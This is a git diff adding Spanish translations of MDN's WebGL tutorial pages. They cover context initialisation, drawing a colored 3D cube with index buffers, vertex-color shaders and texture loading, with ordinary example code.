+<p>La función <code>start()</code>, en nuestro código JavaScript, es llamada después de que el documento fue cargado. Su misión es establecer el contexto WebGL y empezar a renderizar contenido.</p>
+
+<pre class="brush: js">var gl; // Un variable global para el contexto WebGL
+
+function start() {
+  var canvas = document.getElementById("glcanvas");
+
+  gl = initWebGL(canvas);      // Inicializar el contexto GL
+
+  // Solo continuar si WebGL esta disponible y trabajando
+
+  if (gl) {
+    gl.clearColor(0.0, 0.0, 0.0, 1.0);                      // Establecer el color base en negro, totalmente opaco
+    gl.enable(gl.DEPTH_TEST);                               // Habilitar prueba de profundidad
+    gl.depthFunc(gl.LEQUAL);                                // Objetos cercanos opacan objetos lejanos
+    gl.clear(gl.COLOR_BUFFER_BIT|gl.DEPTH_BUFFER_BIT);      // Limpiar el buffer de color asi como el de profundidad
+  }
+}
+</pre>
+
+<p>La primer cosa que hacemos aqui es obtener una referencia al <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API">canvas</a>, ocultándolo en una variable llamada <code>canvas</code>. Obviamente si no necesitas referenciar repetidamente, deberías evitar guardar este valor globalmente, y solo guardarlo en una variable local o miembro de un objeto.</p>
+
+<p>Una vez tenemos el canvas, llamamos a la función llamada <code>initWebGL()</code>; esta es una función que definiremos momentaneamente; su trabajo es inicializar el contexto WebGL.</p>
+
+<p>Si el contexto es exitosamente inicializado, <code>gl</code> sera una referencia a este. En este caso, establecemos el color base a negro, después limpiamos el contexto a ese color. Después, el contexto es configurado estableciendo parametros. En este caso, estamos habilitando la prueba de profundidad y especificando que los objetos cercanos opacaran a los objetos lejanos.</p>
+
+<p>Para los propositos de esta introducción al código, eso sera todo lo que haremos. Empezaremos a ver como crear algo después.</p>
+
+<h3 id="Crear_el_contexto_de_WebGL">Crear el contexto de WebGL</h3>
+
+<p>La función <code>initWebGL()</code>se ve como esto:</p>
+
+<pre class="brush: js">function initWebGL(canvas) {
+  gl = null;
+
+  try {
+    // Tratar de tomar el contexto estandar. Si falla, retornar al experimental.
+    gl = canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
+  }
+  catch(e) {}
+
+  // Si no tenemos ningun contexto GL, date por vencido ahora
+  if (!gl) {
+    alert("Imposible inicializar WebGL. Tu navegador puede no soportarlo.");
+    gl = null;
+  }
+
+  return gl;
+}
+
+</pre>
+
+<p>Para obtener el contexto WebGL de un canvas, pedimo el contexto llamado "webgl" del canvas. Si este falla, intentamos con el nombre "experimental-webgl". Si este igualmente, falla, mostramos una alerta permitiendo al usuario conocer que parece no tener soporte WebGL. Eso es todo al respecto. En este punto, <code>gl</code> es nulo (no hay ningun contexto WebGL disponible) o es una referencia al contexto WebGL en donde renderizaremos.</p>
+
+<div class="note"><strong>Nota:</strong> El nombre de contexto "experimental-webgl" es nombre temporal para usar durante el desarrollo de las especificaciones; el nombre "webgl" sera usado una vez se termine el desarrollo.</div>
+
+<p>En este punto, tienes suficiente código para que el contexto WebGL, inicialice exitosamente, y deberias terminar con una gran cuadro negro y vacio, listo y esperando a recibir contenido .</p>
+
+<p><a href="/samples/webgl/sample1/index.html" title="https://developer.mozilla.org/samples/webgl/sample1/index.html">Prueba este ejemplo</a> si estas usando un navegador compatible con WebGL.</p>
+
+<h3 id="Cambiando_el_tamaño_del_contexto_WebGL">Cambiando el tamaño del contexto WebGL</h3>
+
+<p>Un nuevo contexto WebGL establecera el tamaño de su ventana a la altura y anchura del elemento canvas, sin CSS, al instante el contexto fue obtenido. Editando el estilo del elemento canvas cambiara su tamaño mostrado pero no cambiara la resolución de renderizado. Editando los atributos de anchura y altura de un elemento canvas después de crear el contexto tampoco cambiara el numero de pixeles a ser renderizados. Para cambiar la resolución en la cual WebGL renderiza, como cuando el usuario cambia el tamaño de ventana de un canvas de documento completo o quieres proveer ajustes graficos ajustables dentro de la aplicación, necesitaras llamar a la función del contexto WebGL llamada <code>viewport()</code> para hacer efectivo el cambio.</p>
+
+<p>Para modificar la resolución renderizada de un contexto WebGL con las variables <code>gl</code> y <code>canvas</code> como fue usado en el ejemplo de arriba:</p>
+
+<pre class="brush: js">gl.viewport(0, 0, canvas.width, canvas.height);</pre>
+
+<p>Un lienzo experimentara escalado cuando es renderizado en una resolución diferente a la establecida en el estilo CSS . Cambiar el tamaño con CSS es muy util para salvar recursos renderizando a una baja resolución y permitiendo que el navegador aumente la escala; bajar la escala es posible, lo que producira un efecto de Super Sample AntiAliasing (SSAA) (con resultados sencillos y un costo alto de rendimiento). Es mejor usar el <abbr style="line-height: 24px;" title='"Multisample'>MSAA (Multi Sample AntiAliasing)</abbr> e implementar un filtrado de texturas en el navegador del usuario, si es que esta disponible y es apropiado, en lugar de hacerlo por medio de la fuerza bruta, esperando que el algoritmo de reducción de la imagen del navegador produzca un resultado limpio.</p>
+
+<h2 id="También_podría_interesarte">También podría interesarte</h2>
+
+<ul>
+ <li><a href="https://dev.opera.com/articles/introduction-to-webgl-part-1/">Una introducción a WebGL - </a>Escrito por Luz Caballero, publicado en dev.opera.com. Este articulo cita que es WebGL, explica como funciona WebGL (incluyendo el concepto del proceso de renderizado), e introduce algunas librerias WebGL</li>
+ <li><a href="http://duriansoftware.com/joe/An-intro-to-modern-OpenGL.-Table-of-Contents.html">Una introducción al OpenGL moderno</a> - Una serie de articulos escritos por Joe Groff. Joe da una limpia introducción sobre OpenGL desde su historia al importante concepto del proceso de graficos y provee algunos ejemplos sobre como OpenGL trabaja. Si no tienes ninguna idea sobre OpenGL, este es un buen lugar para comenzar.</li>
+</ul>
+
+<p>{{Next("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context")}}</p>
diff --git a/files/es/web/api/webgl_api/tutorial/index.html b/files/es/web/api/webgl_api/tutorial/index.html
new file mode 100644
index 0000000000..47a0aceb5e
--- /dev/null
+++ b/files/es/web/api/webgl_api/tutorial/index.html
@@ -0,0 +1,42 @@
+---
+title: Tutoral de WebGL
+slug: Web/API/WebGL_API/Tutorial
+tags:
+  - Tutorial
+  - WebGL
+translation_of: Web/API/WebGL_API/Tutorial
+---
+<div>{{WebGLSidebar}}</div>
+
+<div class="summary">
+<p><a class="external" href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">WebGL</a> enables web content to use an API based on <a class="external" href="http://www.khronos.org/opengles/" title="http://www.khronos.org/opengles/">OpenGL ES</a> 2.0 to perform 3D rendering in an HTML {{HTMLElement("canvas")}} in browsers that support it without the use of plug-ins. WebGL programs consist of control code written in JavaScript and special effects code(shader code) that is executed on a computer's Graphics Processing Unit (GPU). WebGL elements can be mixed with other HTML elements and composited with other parts of the page or page background.</p>
+</div>
+
+<p><span class="seoSummary">This tutorial describes how to use the <code>&lt;canvas&gt;</code> element to draw WebGL graphics, starting with the basics. The examples provided should give you some clear ideas what you can do with WebGL and will provide code snippets that may get you started in building your own content.</span></p>
+
+<p><strong>Antes de que inicies</strong></p>
+
+<p>Using the <code>&lt;canvas&gt;</code> element is not very difficult, but you do need a basic understanding of <a href="/en-US/docs/Web/HTML" title="HTML">HTML</a> and <a href="/en-US/docs/Web/JavaScript" title="JavaScript">JavaScript</a>. The <code>&lt;canvas&gt;</code> element and WebGL are not supported in some older browsers, but are supported in recent versions of all major browsers. In order to draw graphics on the canvas we use a JavaScript context object, which creates graphics on the fly.</p>
+
+<p> </p>
+
+<h2 id="En_este_tutorial">En este tutorial</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL">Getting started with WebGL</a></dt>
+ <dd>How to set up a WebGL context.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context">Adding 2D content to a WebGL context</a></dt>
+ <dd>How to render simple flat shapes using WebGL.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL">Using shaders to apply color in WebGL</a></dt>
+ <dd>Demonstrates how to add color to shapes using shaders.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL">Animating objects with WebGL</a></dt>
+ <dd>Shows how to rotate and translate objects to create simple animations.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL">Creating 3D objects using WebGL</a></dt>
+ <dd>Shows how to create and animate a 3D object (in this case, a cube).</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">Using textures in WebGL</a></dt>
+ <dd>Demonstrates how to map textures onto the faces of an object.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Lighting_in_WebGL">Lighting in WebGL</a></dt>
+ <dd>How to simulate lighting effects in your WebGL context.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL">Animating textures in WebGL</a></dt>
+ <dd>Shows how to animate textures; in this case, by mapping an Ogg video onto the faces of a rotating cube.</dd>
+</dl>
diff --git a/files/es/web/api/webgl_api/tutorial/objetos_3d_utilizando_webgl/index.html b/files/es/web/api/webgl_api/tutorial/objetos_3d_utilizando_webgl/index.html
new file mode 100644
index 0000000000..91e6bf3d37
--- /dev/null
+++ b/files/es/web/api/webgl_api/tutorial/objetos_3d_utilizando_webgl/index.html
@@ -0,0 +1,133 @@
+---
+title: Creación de objetos 3D utilizando WebGL
+slug: Web/API/WebGL_API/Tutorial/Objetos_3D_utilizando_WebGL
+tags:
+  - Cubo 3D
+  - Objetos 3D
+  - Tutorial
+  - WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}}</p>
+
+<p>Vamos a llevar nuestro cuadrado hacia la tercera dimensión agregando cinco caras más para crear el cubo. Para hacer esto de manera eficiente, vamos a cambiar el dibujado por medio de vertices utilizando el método {{domxref("WebGLRenderingContext.drawArrays()", "gl.drawArrays()")}}<code> </code>por el uso de un arreglo de vértices como tabla, esto por medio del llamado hacia   {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}}.</p>
+
+<p>Considerar: cada cara cuatro vértices para su definición, pero cada vértice es compartido por 3 caras. Realizando una lista con los 24 vértices es como nosotros haremos un menor intercambio de datos, después haremos referencia hacia cada vértic por medio se su índice en la lista en lugar de pasar el juego entero de coordenadas. Si te preguntas por qué necesitamos 24 vértices, y no solo 8, es porque cada esquina pertenece a tres caras de diferente color, y un solo vértice necesita tener un solo color específico, por lo tanto crearemos 3 copias de cada vértice en tres colores diferentes, uno por cada cara.</p>
+
+<h2 id="Definir_la_posición_de_los_vértices_del_cubo">Definir la posición de los vértices del cubo</h2>
+
+<p>Primero, construiremos el buffer para la posición de los vértices actualizando el código en <code>initBuffers()</code>. Esto es muy parecido a lo como si fuera para el cuadraro, pero más lardo debido a que ahora son 24 vértices (4 por lado):</p>
+
+<pre class="brush: js">var vertices = [
+  // Cara delantera
+  -1.0, -1.0,  1.0,
+   1.0, -1.0,  1.0,
+   1.0,  1.0,  1.0,
+  -1.0,  1.0,  1.0,
+
+  // Cara trasera
+  -1.0, -1.0, -1.0,
+  -1.0,  1.0, -1.0,
+   1.0,  1.0, -1.0,
+   1.0, -1.0, -1.0,
+
+  // Top face
+  -1.0,  1.0, -1.0,
+  -1.0,  1.0,  1.0,
+   1.0,  1.0,  1.0,
+   1.0,  1.0, -1.0,
+
+  // Bottom face
+  -1.0, -1.0, -1.0,
+   1.0, -1.0, -1.0,
+   1.0, -1.0,  1.0,
+  -1.0, -1.0,  1.0,
+
+  // Right face
+   1.0, -1.0, -1.0,
+   1.0,  1.0, -1.0,
+   1.0,  1.0,  1.0,
+   1.0, -1.0,  1.0,
+
+  // Left face
+  -1.0, -1.0, -1.0,
+  -1.0, -1.0,  1.0,
+  -1.0,  1.0,  1.0,
+  -1.0,  1.0, -1.0
+];
+</pre>
+
+<h2 id="Definir_los_colores_de_los_vértices">Definir los colores de los vértices</h2>
+
+<p>Necesitamos construir un arreglo de colores por cada uno de los 24 vertices. Este código comienza por definir un color para cada cara, después utiliza un ciclo para ensamblar el arreglo de colores por cada uno de los vértices.</p>
+
+<pre class="brush: js">var colors = [
+  [1.0,  1.0,  1.0,  1.0],    // Cara delantera: blanco
+  [1.0,  0.0,  0.0,  1.0],    // Cara trasera: rojo
+  [0.0,  1.0,  0.0,  1.0],    // Cara superior: verde
+  [0.0,  0.0,  1.0,  1.0],    // Cara inferior: azul
+  [1.0,  1.0,  0.0,  1.0],    // Cara derecha: amarillo
+  [1.0,  0.0,  1.0,  1.0]     // Cara izquierda: morado
+];
+
+var generatedColors = [];
+
+for (j=0; j&lt;6; j++) {
+  var c = colors[j];
+
+  for (var i=0; i&lt;4; i++) {
+    generatedColors = generatedColors.concat(c);
+  }
+}
+
+var cubeVerticesColorBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesColorBuffer);
+gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(generatedColors), gl.STATIC_DRAW);
+</pre>
+
+<h2 id="Definir_el_elemento_arreglo">Definir el elemento arreglo</h2>
+
+<p>Una ves que el vértice es generado, nosotros necesitamos contruir el elemento arreglo.</p>
+
+<pre class="brush: js">var cubeVerticesIndexBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, cubeVerticesIndexBuffer);
+
+// Este arrelgo define cada cara como 2 triángulos utilizando
+// los índices dentro de cada arreglo de vértices
+// para especificar cada posición en los tríangulos.
+
+var cubeVertexIndices = [
+  0,  1,  2,      0,  2,  3,    // enfrente
+  4,  5,  6,      4,  6,  7,    // atrás
+  8,  9,  10,     8,  10, 11,   // arriba
+  12, 13, 14,     12, 14, 15,   // fondo
+  16, 17, 18,     16, 18, 19,   // derecha
+  20, 21, 22,     20, 22, 23    // izquierda
+];
+
+// Ahora enviamos el elemento arreglo a  GL
+
+gl.bufferData(gl.ELEMENT_ARRAY_BUFFER,
+    new Uint16Array(cubeVertexIndices), gl.STATIC_DRAW);
+</pre>
+
+<p>El arreglo <code>cubeVertexIndices</code> define cada cara como un par de triángulos, especificando cada vértice del triángulo como un índice dentro del arreglo de vértices en el cubo. Así el cubo es descrito como una colección de 12 triángulos. </p>
+
+<h2 id="Dibujando_el_cubo">Dibujando el cubo</h2>
+
+<p>Para continuar necesitaremos agregar el código a nuestra función <code>drawScene()</code> esto para poder dibujar utilizando el buffer índice del cubo, agregaremos un nuevo llamado a  {{domxref("WebGLRenderingContext.bindBuffer()", "gl.bindBuffer()")}}  y {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}}como se muestra a continuación:</p>
+
+<pre class="brush: js">gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, cubeVerticesIndexBuffer);
+setMatrixUniforms();
+gl.drawElements(gl.TRIANGLES, 36, gl.UNSIGNED_SHORT, 0);
+</pre>
+
+<p>Desde que cada cara de nuestro cubo está compuesto de dos triángulos, tenemos 6 vértices en el cubo, se podría pensar que algunos de ellos son duplicados. Sin embargo, desde que nuestro arreglo índice se encuentra compuesto de enteros simples, esto no es una cantidad excesiva de intercambio de datos para pasar por cada cuadro de la animación.</p>
+
+<p>En este punto ahora tenemos un cubo animado rebotando y rotando, cuenta con seis caras coloreadas vívidamente.</p>
+
+<p>{{EmbedGHLiveSample('webgl-examples/tutorial/sample5/index.html', 670, 510) }}</p>
+
+<p><a href="https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample5">Ver el Código completo</a> | <a href="http://mdn.github.io/webgl-examples/tutorial/sample5/">Abrir esta demostración en una página nueva</a></p>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}}</p>
diff --git a/files/es/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html b/files/es/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html
new file mode 100644
index 0000000000..25192a8281
--- /dev/null
+++ b/files/es/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html
@@ -0,0 +1,91 @@
+---
+title: Utilizar los shaders para aplicar color en WebGL
+slug: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context", "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL")}}</p>
+
+<p>Habiendo creado un cuadrado en la <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context">demostración anterior</a>, el siguiente paso es agregar algo de color. Nosotros podemos hacer esto a través de los shaders.</p>
+
+<h2 id="Aplicando_color_a_los_vértices">Aplicando color a los vértices</h2>
+
+<p>En WebGL, los objetos son construidos  utilizando conjuntos de vértices, donde cada uno de ellos posee una posición y un color. Por defecto, los colores de los otros pixeles (y todos sus atributos, incluyendo la posición) son procesados utilizando interpolación, creando automáticamente gradientes suaves. Anteriormente, nuestro sombreador de vértices (vertex shader) no aplicaba ningún color específico a los vértices. Entre éste y el fragmento sombreado que asigna el color blanco fijo a cada pixel, todo el cuadrado se renderizó como blanco sólido.</p>
+
+<p>Vamos a suponer que queremos desplegar un gradiente donde cada una de las esquinas tiene diferente color: rojo, azul, verde, y blanco. La primera tarea es establecer estos colores en los cuatro vértices. Para hacer esto, primero necesitamos crear una matriz de colores de vértices, después la guardaremos dentro del buffer WebGL. Podemos realizarlo agregando el siguiente código a nuestra función initBuffers(): </p>
+
+<pre class="brush: js">  var colors = [
+    1.0,  1.0,  1.0,  1.0,    // blanco
+    1.0,  0.0,  0.0,  1.0,    // rojo
+    0.0,  1.0,  0.0,  1.0,    // verde
+    0.0,  0.0,  1.0,  1.0     // azul
+  ];
+
+  squareVerticesColorBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesColorBuffer);
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(colors), gl.STATIC_DRAW);
+}
+</pre>
+
+<p>El código comienza por crear una matriz JavaScript que contenga cuatro vectores de 4 valores, para cada uno de los colores del vértice. Entonces se reserva un nuevo buffer WebGL para almacenar esos colores y la matriz se convierte en floats (Números de tipo flotante) y se almacena dentro del buffer.</p>
+
+<p>Para designar los colores a utilizar, el vertex shader necesita ser actualizado para extraer el color apropiado del buffer de color:</p>
+
+<pre class="brush: html">    &lt;script id="shader-vs" type="x-shader/x-vertex"&gt;
+      attribute vec3 aVertexPosition;
+      attribute vec4 aVertexColor;
+
+      uniform mat4 uMVMatrix;
+      uniform mat4 uPMatrix;
+
+      varying lowp vec4 vColor;
+
+      void main(void) {
+        gl_Position = uPMatrix * uMVMatrix * vec4(aVertexPosition, 1.0);
+        vColor = aVertexColor;
+      }
+    &lt;/script&gt;
+</pre>
+
+<p>La diferencia principal aquí es que, por cada vértice, vamos a establecer su color usando <code>varying</code> en el fragmento de sombreado.</p>
+
+<h2 id="Coloreando_los_fragments">Coloreando los fragments</h2>
+
+<p>Anteriormente utilizábamos el fragment shader como un actualizador:</p>
+
+<pre class="brush: html">    &lt;script id="shader-fs" type="x-shader/x-fragment"&gt;
+      void main(void) {
+        gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
+      }
+    &lt;/script&gt;
+</pre>
+
+<p>Según vayamos tomando el color interpolado para cada pixel, nosotros simplemente necesitamos cambiar esto para obtener el valor de la variable vColor:</p>
+
+<pre class="brush: html">    &lt;script id="shader-fs" type="x-shader/x-fragment"&gt;
+    	varying lowp vec4 vColor;
+
+      void main(void) {
+        gl_FragColor = vColor;
+      }
+    &lt;/script&gt;
+</pre>
+
+<p>Es un cambio simple; cada fragmento simplemente recibe el color interpolado basado en su posición relativa a los vértices, en lugar que de un valor establecido.</p>
+
+<h2 id="Dibujando_usando_los_colores">Dibujando usando los colores</h2>
+
+<p>Como siguiente, es necesario agregar código hacia la rutina <code>initShaders() esto para inicializar el atributo de color para el shader program:</code></p>
+
+<pre class="brush: js">  vertexColorAttribute = gl.getAttribLocation(shaderProgram, "aVertexColor");
+  gl.enableVertexAttribArray(vertexColorAttribute);
+</pre>
+
+<p>Then, drawScene() puede ser revisado para que utilice dichos colores cuando dibuje el cuadrado:</p>
+
+<p>gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesColorBuffer); gl.vertexAttribPointer(vertexColorAttribute, 4, gl.FLOAT, false, 0, 0);</p>
+
+<p>{{EmbedGHLiveSample('webgl-examples/tutorial/sample3/index.html', 670, 510) }}</p>
+
+<p><a href="https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample3">Ver el código completo</a> | <a href="http://mdn.github.io/webgl-examples/tutorial/sample3/">Abrir demostración en una nueva página</a></p>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context", "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL")}}</p>
diff --git a/files/es/web/api/webgl_api/tutorial/wtilizando_texturas_en_webgl/index.html b/files/es/web/api/webgl_api/tutorial/wtilizando_texturas_en_webgl/index.html
new file mode 100644
index 0000000000..9d2be2d61b
--- /dev/null
+++ b/files/es/web/api/webgl_api/tutorial/wtilizando_texturas_en_webgl/index.html
@@ -0,0 +1,209 @@
+---
+title: Utilizando texturas en WebGL
+slug: Web/API/WebGL_API/Tutorial/Wtilizando_texturas_en_WebGL
+tags:
+  - Texturas
+  - Tutorial
+  - WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}</p>
+
+<p>Ahora que nuestro programa de prueba tiene un cubo, asignemos una textura en lugar de tener sus caras de un color solido.</p>
+
+<h2 id="Cargando_texturas">Cargando texturas</h2>
+
+<p>La primera cosa que debemos hacer es añadir el codigo para cargar nuestra textura. en nuestro caso, estaremos usando una unica textura, asignada en las seis caras de nuestro cubo rotador, pero la misma tecnica puede ser utilizada para cualquier cantidad de texturas.</p>
+
+<div class="note"><strong>Note:</strong> Es importante señalar que la carga de texturas sigue <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS">reglas de dominio-cruzado</a>; Es decir, sólo puede cargar texturas de sitios para los que su contenido tiene aprobación de CORS. Vea las texturas entre dominios a continuación para más detalles.</div>
+
+<p>El codigo que carga la textura se ve como esto:</p>
+
+<pre class="brush: js">function initTextures() {
+  cubeTexture = gl.createTexture();
+  cubeImage = new Image();
+  cubeImage.onload = function() { handleTextureLoaded(cubeImage, cubeTexture); }
+  cubeImage.src = 'cubetexture.png';
+}
+
+function handleTextureLoaded(image, texture) {
+  gl.bindTexture(gl.TEXTURE_2D, texture);
+  gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA, gl.UNSIGNED_BYTE, image);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.LINEAR);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR_MIPMAP_NEAREST);
+  gl.generateMipmap(gl.TEXTURE_2D);
+  gl.bindTexture(gl.TEXTURE_2D, null);
+}
+</pre>
+
+<p><code><font face="Open Sans, Arial, sans-serif">La rutina </font>initTextures()</code> comienza por crear el GL texture cubeTexture llamando la rutina GL {{domxref("WebGLRenderingContext.createTexture()", "createTexture()")}}. Para cargar la textura desde un archivo de imagen, este luego crea un Objeto Imagen y carga en él el archivo de imagen que deseamos utilizar como nuestra textura. La rutina <code>handleTextureLoaded()</code> corre cuando la textura ha terminado de cargar.</p>
+
+<p>Para realmente crear la textura, especificamos que la nueva textura es la textura actual en la que queremos operar vinculándola a gl.TEXTURE_2D. Despues de esto, la imagen cargada es pasada a  {{domxref("WebGLRenderingContext.texImage2D()", "texImage2D()")}} para escribir la informacion de la imagen en la textura.</p>
+
+<div class="note"><strong>Nota: El alto y hancho de las texturas deben, en la mayoría de las circunstancias, ser una potencia de dos píxeles (es decir, 1, 2, 4, 8, 16, etc.) en cada dimensión. Para la excepción, vea la sección: <a href="https://developer.mozilla.org/en-US/docs/Web/WebGL/Using_textures_in_WebGL#Non_power-of-two_textures">"Texturas no potencia de dos"</a>, a continuación.</strong></div>
+
+<p>Las siguientes dos líneas setean el filtrado para la textura; Esto controla cómo se filtra la imagen mientras se escala. En este caso estamos usando linear filtering cuando escala la imagen, y mipmap cuando se hace mas pequeña. Entonces el mipmap es generado llamando {{domxref("WebGLRenderingContext.generateMipMap()", "generateMipMap()")}}, Y terminamos diciéndole a WebGL que hemos terminado de manipular la textura vinculando null a gl.TEXTURE_2D.</p>
+
+<h3 id="Texturas_no_potencia-de-dos">Texturas no potencia-de-dos</h3>
+
+<p>Generalmente hablando, Utilizar texturas cuyos lados son una potencia de dos es ideal. Están almacenadas eficientemente en la memoria de video y no están restringidas en cómo podrían ser utilizadas. Las texturas creadas por el artista deben ser escaladas hacia arriba o hacia abajo a una potencia cercana a dos y, realmente, debería haber sido creada en potencia-de-dos para empezar. Cada lado debe ser: 1, 2, 4, 8, 16, 32, 64, 128, 256, 512, 1024 ó 2048 píxeles. Muchos dispositivos, pero no todos, pueden soportar 4096 píxeles; Algunos pueden soportar 8192 e incluso más.</p>
+
+<p>Ocasionalmente, es difícil utilizar texturas en potencia-de-dos dada una circunstancia especifica. Si la fuente es alguna tercera parte, A menudo los mejores resultados vienen de modificar las imágenes usando canvas HTML5 en tamaños de potencia-de-dos antes de que se pasen a WebGL; Las coordenadas UV también pueden requerir ajuste si el estiramiento es notorio.</p>
+
+<p>Pero, Si tiene que tener una textura no-potencia-de-dos (NPOT = no-power-of-two), WebGL incluye un limitado soporte nativo. Las texturas NPOT son en su mayoría útiles si las dimensiones de la textura debe ser la misma resolución que otra cosa, como la resolución de tu monitor, o si no vale la pena molestarse por las sugerencias anteriores. Resumiendo: estas texturas no se pueden usar con mipmapping y no deben repetirse (tile o wrap).</p>
+
+<p>Un ejemplo de una textura es tilear una imagen de unos ladrillos para cubrir una pared de ladrillos.</p>
+
+<p>Mipmapping y "UV tiling" pueden ser desactivados utilizando {{domxref("WebGLRenderingContext.texParameter()", "texParameteri()")}} y cuando creas tu textura utilizando {{domxref("WebGLRenderingContext.bindTexture()", "bindTexture()")}}. Ésto permitirá las texturas NPOT a expensas de mipmapping, UV wrapping, UV tiling, y tu control sobre cómo el dispositivo procederá a manejar tu textura.</p>
+
+<pre class="brush: js">// gl.NEAREST is also allowed, instead of gl.LINEAR, as neither mipmap.
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);
+// Prevents s-coordinate wrapping (repeating).
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
+// Prevents t-coordinate wrapping (repeating).
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);</pre>
+
+<p>Una vez más, con estos parámetros, los dispositivos compatibles con WebGL aceptarán automáticamente cualquier resolución para esa textura (hasta sus dimensiones máximas). Sin realizar la configuración anterior, WebGL requiere que todas las muestras de texturas NPOT fallen al devolver el color "negro sólido": rgba (0,0,0,1).</p>
+
+<h2 id="Mapeando_la_textura_en_las_caras">Mapeando la textura en las caras</h2>
+
+<p>A este punto, la textura esta cargada y lista para usar. pero antes de utilizarla, Necesitamos asignar el mapeo de las coordenadas de textura a los vértices de las caras de nuestro cubo. Esto reemplaza todo el código previamente existente para configurar colores para cada una de las caras del cubo en initBuffers().</p>
+
+<pre class="brush: js">cubeVerticesTextureCoordBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesTextureCoordBuffer);
+
+var textureCoordinates = [
+  // Front
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0,
+  // Back
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0,
+  // Top
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0,
+  // Bottom
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0,
+  // Right
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0,
+  // Left
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0
+];
+
+gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(textureCoordinates),
+              gl.STATIC_DRAW);
+</pre>
+
+<p>Primeramente, este codigo crea un GL buffer en el cual almacenaremos las coordenadas de la textura para cada cara, luego enlazamos ese buffer como el array en el cual escribiremos.</p>
+
+<p>El array textureCoordinates define las coordenadas de textura correspondientes a cada vértice de cada cara. Tenga en cuenta que las coordenadas de textura van de 0,0 a 1,0; Las dimensiones de las texturas se normalizan a un rango de 0,0 a 1,0 independientemente de su tamaño real, con el propósito de mapeo de textura.</p>
+
+<p>Una vez que hemos seteado la matriz de mapeo de textura, pasamos la matriz al búfer, de modo que GL tiene esos datos listos para su uso.</p>
+
+<h2 id="Actualizando_los_shaders">Actualizando los shaders</h2>
+
+<p>El shader -- y el código que inicializa los shaders -- también necesita ser actualizado para utilizar la textura en vez de un color solido.</p>
+
